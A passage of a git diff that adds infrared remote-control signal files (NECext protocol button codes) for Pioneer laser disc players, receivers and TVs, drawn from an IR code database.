Disc/168,-1.ir new file mode 100644 index 000000000..ff9d4ae3b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir @@ -0,0 +1,692 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 00 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 09 00 00 00 +# +name: DIGITAL/ANALOG +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0C 00 00 00 +# +name: AUTO_DIGITAL/ANALOGU +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0C 00 00 00 +# +name: D/A/CX +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0C 00 00 00 +# +name: CX +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 0E 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 10 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 11 00 00 00 +# +name: CHAPTER/TIME +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: CHAPTER_FRAME/TIME +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: CHP/FR-TM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: CHP/TM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 13 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 16 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 18 00 00 00 +# +name: LAST_MEMORY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 19 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 19 00 00 00 +# +name: PICTURE_CONTROL +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 19 00 00 00 +# +name: V-DNR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 19 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1C 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1D 00 00 00 +# +name: AUDIO_D/A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1E 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1F 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1F 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 1F 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 28 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2B 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 2F 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 31 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 32 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 33 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 34 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 35 00 00 00 +# +name: LEVEL_CONTROL +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 37 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 42 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 43 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 43 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 44 00 00 00 +# +name: REPEAT_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 44 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 45 00 00 00 +# +name: STROBE_MOTION_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 46 00 00 00 +# +name: MULTI_SPEED_- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 46 00 00 00 +# +name: STROBE_MOTION_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 47 00 00 00 +# +name: MULTI_SPEED_+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 47 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 48 00 00 00 +# +name: REPEAT_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 48 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4C 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4C 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4C 00 00 00 +# +name: SIDE_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4D 00 00 00 +# +name: SIDE_A +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4D 00 00 00 +# +name: SIDE_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4E 00 00 00 +# +name: SIDE_B +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 4E 00 00 00 +# +name: STEP_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: STEP_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 50 00 00 00 +# +name: INDEX_SKIP_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 51 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 52 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 53 00 00 00 +# +name: STEP_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: STEP_>> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 54 00 00 00 +# +name: MULTI-SPEED_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: MULTI_SPEED_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: MULTISPEED_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 55 00 00 00 +# +name: LAST_MEMORY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 56 00 00 00 +# +name: MULTI-SPEED_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 +# +name: MULTI_SPEED_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 +# +name: MULTISPEED_> +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 58 00 00 00 +# +name: INDEX_SKIP_< +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 59 00 00 00 +# +name: HILITE/INTRO +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5A 00 00 00 +# +name: STILL_WTIH_SOUND +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5B 00 00 00 +# +name: ONE-SHOT_MEMORY +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5E 00 00 00 +# +name: PANDOM +type: parsed +protocol: NECext +address: A8 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir new file mode 100644 index 000000000..ea1ba088e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A5 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: A9 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: B8 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: BE 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: E3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: EF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AF 00 00 00 +command: FC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir new file mode 100644 index 000000000..3cd8f38fd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: 10 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 09 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 13 00 00 00 +# +name: 11/PGM +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 46 00 00 00 +# +name: 12/CLEAR +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 47 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 4D 00 00 00 +# +name: FREQ/CH_UP +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 56 00 00 00 +# +name: FREQ/CH_DOWN +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 57 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir new file mode 100644 index 000000000..7b1e343f9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir @@ -0,0 +1,368 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0B 00 00 00 +# +name: INPUT:_TV/SAT +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0C 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0C 00 00 00 +# +name: LASER_DISC +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0D 00 00 00 +# +name: INPUT:_VCR2 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0E 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0E 00 00 00 +# +name: INPUT:_VCR1 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0F 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 0F 00 00 00 +# +name: INPUT:_TAPE1/MD +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 11 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 12 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 13 00 00 00 +# +name: AUDIO_SOURCE_1 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 13 00 00 00 +# +name: AUDIO_SOURCE_2 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 13 00 00 00 +# +name: INPUT:_VIDEO +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 16 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 16 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 1A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 1B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 1C 00 00 00 +# +name: TAPE_2_MONITOR +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 1D 00 00 00 +# +name: TAPE_2/MONITOR +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 1D 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 40 00 00 00 +# +name: LEVEL_CENTER_- +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 41 00 00 00 +# +name: LEVEL_REAR_+ +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 41 00 00 00 +# +name: LEVEL_CENTER_+ +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 42 00 00 00 +# +name: LEVEL_REAR_- +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 42 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 46 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 47 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 47 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 48 00 00 00 +# +name: BALLANCE_R +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 49 00 00 00 +# +name: BALLANCE_L +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 4B 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 4C 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 4C 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 4D 00 00 00 +# +name: TAPE_1/DAT +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 4E 00 00 00 +# +name: LINE +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 4F 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 51 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 52 00 00 00 +# +name: VIDEO_SELECT +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 54 00 00 00 +# +name: ACOUSTIC +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 56 00 00 00 +# +name: ENHANCER +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 56 00 00 00 +# +name: JOG_MODE +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 56 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 56 00 00 00 +# +name: JOG_- +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 57 00 00 00 +# +name: JOG_+ +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 57 00 00 00 +# +name: CONFIRM +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 59 00 00 00 +# +name: +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 59 00 00 00 +# +name: SPEAKER_A +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 59 00 00 00 +# +name: SPEAKER_B +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 59 00 00 00 +# +name: CENTER_MODE +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 5A 00 00 00 +# +name: REAR_BAL_L +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 5A 00 00 00 +# +name: REAR_BAL_R +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 5A 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 5D 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 5D 00 00 00 +# +name: INPUT:_DVD/LD +type: parsed +protocol: NECext +address: A5 00 00 00 +command: 85 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/170,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/170,-1.ir new file mode 100644 index 000000000..96a3aa21e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/170,-1.ir @@ -0,0 +1,464 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0A 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0B 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0C 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0C 00 00 00 +# +name: TV_INPUT_SEL +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0D 00 00 00 +# +name: LD_INPUT_SEL +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0E 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0E 00 00 00 +# +name: VIDEO2_INPUT_SEL +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0F 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0F 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0F 00 00 00 +# +name: VIDEO1_INPUT_SEL +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 10 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 11 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 11 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 14 00 00 00 +# +name: P_IN_P +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 14 00 00 00 +# +name: CH_SCAN +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 15 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 17 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 18 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 1C 00 00 00 +# +name: MTS +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 1E 00 00 00 +# +name: CH_ENTER +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 1F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 1F 00 00 00 +# +name: STD/AV_MEM +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 43 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 48 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 49 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 49 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 56 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 56 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 56 00 00 00 +# +name: VIDEO3_INPUT_SEL +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 56 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 57 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5C 00 00 00 +# +name: CH_RETURN +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 5C 00 00 00 +# +name: MENU_SET +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 8A 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 8A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 8B 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 94 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 94 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 95 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 95 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 96 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 96 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 97 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: AA 00 00 00 +command: 97 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D3 00 00 00 +# +name: INPUT:_ANTENNA +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D3 00 00 00 +# +name: INPUT:_DVD/LD +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D3 00 00 00 +# +name: INPUT:_VIDEO_1 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D3 00 00 00 +# +name: INPUT:_VIDEO_3 +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D3 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D3 00 00 00 +# +name: PIP_CH_- +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D3 00 00 00 +# +name: PIP_CH_+ +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D3 00 00 00 +# +name: CC_MODE +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D3 00 00 00 +# +name: CINEMA_WIDE +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D3 00 00 00 +# +name: STROBE +type: parsed +protocol: NECext +address: AA 00 00 00 +command: D6 00 00 00 +# +name: SWAP +type: 